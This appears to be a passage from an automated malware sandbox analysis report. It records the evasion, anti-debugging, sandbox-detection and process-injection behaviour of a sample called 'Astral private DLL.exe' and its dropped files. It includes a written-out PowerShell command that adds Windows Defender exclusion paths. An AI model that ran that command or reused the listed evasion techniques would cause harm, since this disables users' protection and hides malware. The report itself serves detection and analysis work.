Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Contains functionality to compare user and computer (likely to detect sandboxes)

Source: C:\Windows\System32\dialer.exe

Code function: OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,

20_2_00007FF603B010C0

Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Memory allocated: B40000 memory reserve \| memory write watch			Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Memory allocated: 1A610000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6506	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3248	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Window / User API: threadDelayed 1363
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6139
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3461
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 6476
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 3524
Source: C:\Windows\System32\lsass.exe	Window / User API: threadDelayed 8539
Source: C:\Windows\System32\lsass.exe	Window / User API: threadDelayed 1337
Source: C:\Windows\System32\dwm.exe	Window / User API: threadDelayed 9867

Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\IbBZTfZC.log	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\nWKkNNTp.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\bcapgbqjwdsj.tmp	Jump to dropped file
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\AvUrEmYP.log	Jump to dropped file
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\gYWllyYA.log	Jump to dropped file
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\OMvfRcDl.log	Jump to dropped file
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\QWRgRujm.log	Jump to dropped file
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\qHqBUadh.log	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe

Evasive API call chain: GetLocalTime,DecisionNodes

graph_1-23511

Source: C:\Windows\System32\lsass.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep
Source: C:\Windows\System32\dwm.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep
Source: C:\Windows\System32\conhost.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_8-13996
Source: C:\Windows\System32\svchost.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep
Source: C:\Windows\System32\winlogon.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep

Source: C:\Windows\System32\dialer.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_20-505

Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	API coverage: 1.0 %
Source: C:\Windows\System32\conhost.exe	API coverage: 6.0 %
Source: C:\Windows\System32\conhost.exe	API coverage: 6.2 %
Source: C:\Windows\System32\lsass.exe	API coverage: 8.3 %
Source: C:\Windows\System32\svchost.exe	API coverage: 6.2 %
Source: C:\Windows\System32\svchost.exe	API coverage: 6.0 %
Source: C:\Windows\System32\svchost.exe	API coverage: 6.5 %
Source: C:\Windows\System32\svchost.exe	API coverage: 6.2 %

Source: C:\Users\user\AppData\Local\Temp\twain_32.exe TID: 4320	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1456	Thread sleep count: 6506 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3844	Thread sleep count: 3248 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1260	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe TID: 2304	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\dialer.exe TID: 3340	Thread sleep count: 1363 > 30
Source: C:\Windows\System32\dialer.exe TID: 3340	Thread sleep time: -136300s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4924	Thread sleep count: 6139 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2692	Thread sleep time: -10145709240540247s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4924	Thread sleep count: 3461 > 30
Source: C:\Windows\System32\winlogon.exe TID: 3448	Thread sleep count: 6476 > 30
Source: C:\Windows\System32\winlogon.exe TID: 3448	Thread sleep time: -6476000s >= -30000s
Source: C:\Windows\System32\winlogon.exe TID: 3448	Thread sleep count: 3524 > 30
Source: C:\Windows\System32\winlogon.exe TID: 3448	Thread sleep time: -3524000s >= -30000s
Source: C:\Windows\System32\lsass.exe TID: 2316	Thread sleep count: 8539 > 30
Source: C:\Windows\System32\lsass.exe TID: 2316	Thread sleep time: -8539000s >= -30000s
Source: C:\Windows\System32\lsass.exe TID: 2316	Thread sleep count: 1337 > 30
Source: C:\Windows\System32\lsass.exe TID: 2316	Thread sleep time: -1337000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1216	Thread sleep count: 240 > 30
Source: C:\Windows\System32\svchost.exe TID: 1216	Thread sleep time: -240000s >= -30000s
Source: C:\Windows\System32\dwm.exe TID: 6520	Thread sleep count: 9867 > 30
Source: C:\Windows\System32\dwm.exe TID: 6520	Thread sleep time: -9867000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1004	Thread sleep count: 252 > 30
Source: C:\Windows\System32\svchost.exe TID: 1004	Thread sleep time: -252000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2724	Thread sleep count: 252 > 30
Source: C:\Windows\System32\svchost.exe TID: 2724	Thread sleep time: -252000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5220	Thread sleep count: 252 > 30
Source: C:\Windows\System32\svchost.exe TID: 5220	Thread sleep time: -252000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 3412	Thread sleep count: 248 > 30
Source: C:\Windows\System32\svchost.exe TID: 3412	Thread sleep time: -248000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1220	Thread sleep count: 198 > 30
Source: C:\Windows\System32\svchost.exe TID: 1220	Thread sleep time: -198000s >= -30000s

Source: C:\Windows\System32\powercfg.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\powercfg.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\powercfg.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\System32\powercfg.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dialer.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\containerperf\ServerComponenthostMonitorDll.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Code function: 1_2_0016A69B FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	1_2_0016A69B
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Code function: 1_2_0017C220 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	1_2_0017C220
Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	Code function: 2_2_0000024B3455BE3C FindFirstFileExW,	2_2_0000024B3455BE3C
Source: C:\Windows\System32\conhost.exe	Code function: 8_2_00000216ACFDBE3C FindFirstFileExW,	8_2_00000216ACFDBE3C
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Code function: 13_2_1AFFBE3C FindFirstFileExW,	13_2_1AFFBE3C
Source: C:\Windows\System32\conhost.exe	Code function: 22_2_0000013ACAE9BE3C FindFirstFileExW,	22_2_0000013ACAE9BE3C
Source: C:\Windows\System32\winlogon.exe	Code function: 27_2_00000225DC64BE3C FindFirstFileExW,	27_2_00000225DC64BE3C
Source: C:\Windows\System32\lsass.exe	Code function: 28_2_00000202C0AEBE3C FindFirstFileExW,	28_2_00000202C0AEBE3C
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000002A66130BE3C FindFirstFileExW,	30_2_000002A66130BE3C
Source: C:\Windows\System32\dwm.exe	Code function: 31_2_000002BAAEFBBE3C FindFirstFileExW,	31_2_000002BAAEFBBE3C
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_0000026A879CBE3C FindFirstFileExW,	34_2_0000026A879CBE3C
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_00000179537ABE3C FindFirstFileExW,	35_2_00000179537ABE3C
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000002295D56BE3C FindFirstFileExW,	36_2_000002295D56BE3C

Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe

Code function: 1_2_0017E6A3 VirtualQuery,GetSystemInfo,

1_2_0017E6A3

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: wscript.exe, 00000005.00000003.1784727819.000000000341B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: wscript.exe, 00000005.00000003.1784727819.000000000341B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: svchost.exe, 0000001E.00000000.1867734999.000002A66065D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000

Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	API call chain: ExitProcess graph end node			graph_1-23661
Source: C:\Windows\System32\dialer.exe	API call chain: ExitProcess graph end node			graph_20-417

Source: C:\Users\user\AppData\Local\Temp\twain_32.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe

Code function: 1_2_0017F838 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_0017F838

Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe

Code function: 1_2_00187DEE mov eax, dword ptr fs:[00000030h]

1_2_00187DEE

Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe

Code function: 1_2_0018C030 GetProcessHeap,

1_2_0018C030

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Code function: 1_2_0017F838 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_0017F838
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Code function: 1_2_0017F9D5 SetUnhandledExceptionFilter,	1_2_0017F9D5
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Code function: 1_2_0017FBCA SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_0017FBCA
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Code function: 1_2_00188EBD IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00188EBD
Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	Code function: 2_2_0000024B3455B50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_0000024B3455B50C
Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	Code function: 2_2_0000024B34557E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_0000024B34557E70
Source: C:\Windows\System32\conhost.exe	Code function: 8_2_00000216ACFDB50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00000216ACFDB50C
Source: C:\Windows\System32\conhost.exe	Code function: 8_2_00000216ACFD7E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00000216ACFD7E70
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Code function: 13_2_1AFF7E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_1AFF7E70
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Code function: 13_2_1AFFB50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_1AFFB50C
Source: C:\Windows\System32\conhost.exe	Code function: 22_2_0000013ACAE9B50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	22_2_0000013ACAE9B50C
Source: C:\Windows\System32\conhost.exe	Code function: 22_2_0000013ACAE97E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	22_2_0000013ACAE97E70
Source: C:\Windows\System32\winlogon.exe	Code function: 27_2_00000225DC647E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	27_2_00000225DC647E70
Source: C:\Windows\System32\winlogon.exe	Code function: 27_2_00000225DC64B50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	27_2_00000225DC64B50C
Source: C:\Windows\System32\lsass.exe	Code function: 28_2_00000202C0AE7E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00000202C0AE7E70
Source: C:\Windows\System32\lsass.exe	Code function: 28_2_00000202C0AEB50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00000202C0AEB50C
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000002A661307E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	30_2_000002A661307E70
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000002A66130B50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	30_2_000002A66130B50C
Source: C:\Windows\System32\dwm.exe	Code function: 31_2_000002BAAEFB7E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	31_2_000002BAAEFB7E70
Source: C:\Windows\System32\dwm.exe	Code function: 31_2_000002BAAEFBB50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	31_2_000002BAAEFBB50C
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_0000026A879CB50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	34_2_0000026A879CB50C
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_0000026A879C7E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	34_2_0000026A879C7E70
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_00000179537AB50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	35_2_00000179537AB50C
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_00000179537A7E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	35_2_00000179537A7E70
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000002295D567E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	36_2_000002295D567E70
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000002295D56B50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	36_2_000002295D56B50C

Source: C:\containerperf\ServerComponenthostMonitorDll.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force			Jump to behavior

Allocates memory in foreign processes

Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\winlogon.exe base: 225DC610000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\lsass.exe base: 202C0AB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2A6612D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dwm.exe base: 2BAAEF80000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 26A87990000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 17953770000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2295D530000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 253067D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1845B380000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1ADEBFD0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D559040000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 241A9E70000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1CD73160000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2824E860000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 21B473C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2086F9D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 17183BC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 23FD3F70000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D2A4150000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 275BDF30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1AAC0260000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 203C9F30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1B5645B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1BB7B2A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1C004F60000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 24E2AB40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2644ADB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\spoolsv.exe base: 1990000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 20D25DA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 26EF5350000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2A7F0D60000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 23D0FFB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1B1C2570000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2108BCF0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 29166960000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 21C13EF0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1988D570000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 13869B40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1E1CC740000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2855DA70000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2BF199D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 15AF3890000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 21A03B80000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\sihost.exe base: 1CD40E40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 151A6530000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 19E29CC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 17D7B150000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1BE621A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2252F480000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\ctfmon.exe base: 1F28B4B0000 protect: page execute and read and write
